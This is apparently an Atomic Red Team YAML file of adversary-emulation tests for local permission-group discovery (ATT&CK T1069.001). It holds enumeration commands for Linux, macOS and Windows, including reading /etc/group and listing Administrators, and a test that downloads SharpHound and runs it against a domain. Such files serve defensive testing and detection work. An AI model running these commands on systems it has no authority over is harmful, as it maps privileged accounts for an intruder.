Carrie Roberts
102 lines
4.1 KiB
YAML
102 lines
4.1 KiB
YAML
attack_technique: T1069.001
|
|
display_name: 'Permission Groups Discovery: Local Groups'
|
|
atomic_tests:
|
|
- name: Permission Groups Discovery (Local)
|
|
auto_generated_guid: 952931a4-af0b-4335-bbbe-73c8c5b327ae
|
|
description: |
|
|
Permission Groups Discovery
|
|
supported_platforms:
|
|
- macos
|
|
- linux
|
|
executor:
|
|
command: |
|
|
if [ -x "$(command -v dscacheutil)" ]; then dscacheutil -q group; else echo "dscacheutil is missing from the machine. skipping..."; fi;
|
|
if [ -x "$(command -v dscl)" ]; then dscl . -list /Groups; else echo "dscl is missing from the machine. skipping..."; fi;
|
|
if [ -x "$(command -v groups)" ]; then groups; else echo "groups is missing from the machine. skipping..."; fi;
|
|
if [ -x "$(command -v id)" ]; then id; else echo "id is missing from the machine. skipping..."; fi;
|
|
if [ -x "$(command -v getent)" ]; then getent group; else echo "getent is missing from the machine. skipping..."; fi;
|
|
cat /etc/group
|
|
name: sh
|
|
- name: Basic Permission Groups Discovery Windows (Local)
|
|
auto_generated_guid: 1f454dd6-e134-44df-bebb-67de70fb6cd8
|
|
description: |
|
|
Basic Permission Groups Discovery for Windows. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
|
|
information will be displayed.
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |
|
|
net localgroup
|
|
net localgroup "Administrators"
|
|
name: command_prompt
|
|
- name: Permission Groups Discovery PowerShell (Local)
|
|
auto_generated_guid: a580462d-2c19-4bc7-8b9a-57a41b7d3ba4
|
|
description: |
|
|
Permission Groups Discovery utilizing PowerShell. This test will display some errors if run on a computer not connected to a domain. Upon execution, domain
|
|
information will be displayed.
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |
|
|
get-localgroup
|
|
Get-LocalGroupMember -Name "Administrators"
|
|
name: powershell
|
|
- name: SharpHound3 - LocalAdmin
|
|
auto_generated_guid: e03ada14-0980-4107-aff1-7783b2b59bb1
|
|
description: |
|
|
This module runs the Windows executable of SharpHound in order to remotely list members of the local Administrators group (SAMR)
|
|
supported_platforms:
|
|
- windows
|
|
input_arguments:
|
|
domain:
|
|
description: FQDN of the targeted domain
|
|
type: string
|
|
default: $env:UserDnsDomain
|
|
sharphound_path:
|
|
description: SharpHound Windows executable
|
|
type: path
|
|
default: '$env:TEMP\SharpHound.exe'
|
|
output_path:
|
|
description: Output for SharpHound
|
|
type: path
|
|
default: '$env:TEMP\SharpHound\'
|
|
dependency_executor_name: powershell
|
|
dependencies:
|
|
- description: |
|
|
SharpHound binary must exist on disk and at specified location (#{sharphound_path}).
|
|
And the computer must be domain joined (implicit authentication).
|
|
prereq_command: |
|
|
if (Test-Path "#{sharphound_path}") { exit 0 } else { exit 1 }
|
|
get_prereq_command: |
|
|
Invoke-WebRequest "https://github.com/BloodHoundAD/BloodHound/blob/e062fe73d73c015dccb37fae5089342d009b84b8/Collectors/SharpHound.exe?raw=true" -OutFile "#{sharphound_path}"
|
|
executor:
|
|
name: powershell
|
|
elevation_required: false
|
|
command: |
|
|
New-Item -Path "#{output_path}" -ItemType Directory > $null
|
|
& "#{sharphound_path}" -d "#{domain}" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory "#{output_path}"
|
|
cleanup_command: |
|
|
Remove-Item -Recurse #{output_path} -ErrorAction Ignore
|
|
|
|
- name: Wmic Group Discovery
|
|
auto_generated_guid: 7413be50-be8e-430f-ad4d-07bf197884b2
|
|
description: |
|
|
Utilizing wmic.exe to enumerate groups on the local system. Upon execution, information will be displayed of local groups on system.
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |
|
|
wmic.exe group get name
|
|
name: powershell
|
|
|
|
- name: WMIObject Group Discovery
|
|
auto_generated_guid: 69119e58-96db-4110-ad27-954e48f3bb13
|
|
description: |
|
|
Utilizing PowerShell cmdlet - get-wmiobject, to enumerate local groups on the endpoint. Upon execution, Upon execution, information will be displayed of local groups on system.
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
command: |
|
|
Get-WMIObject Win32_Group
|
|
name: powershell
|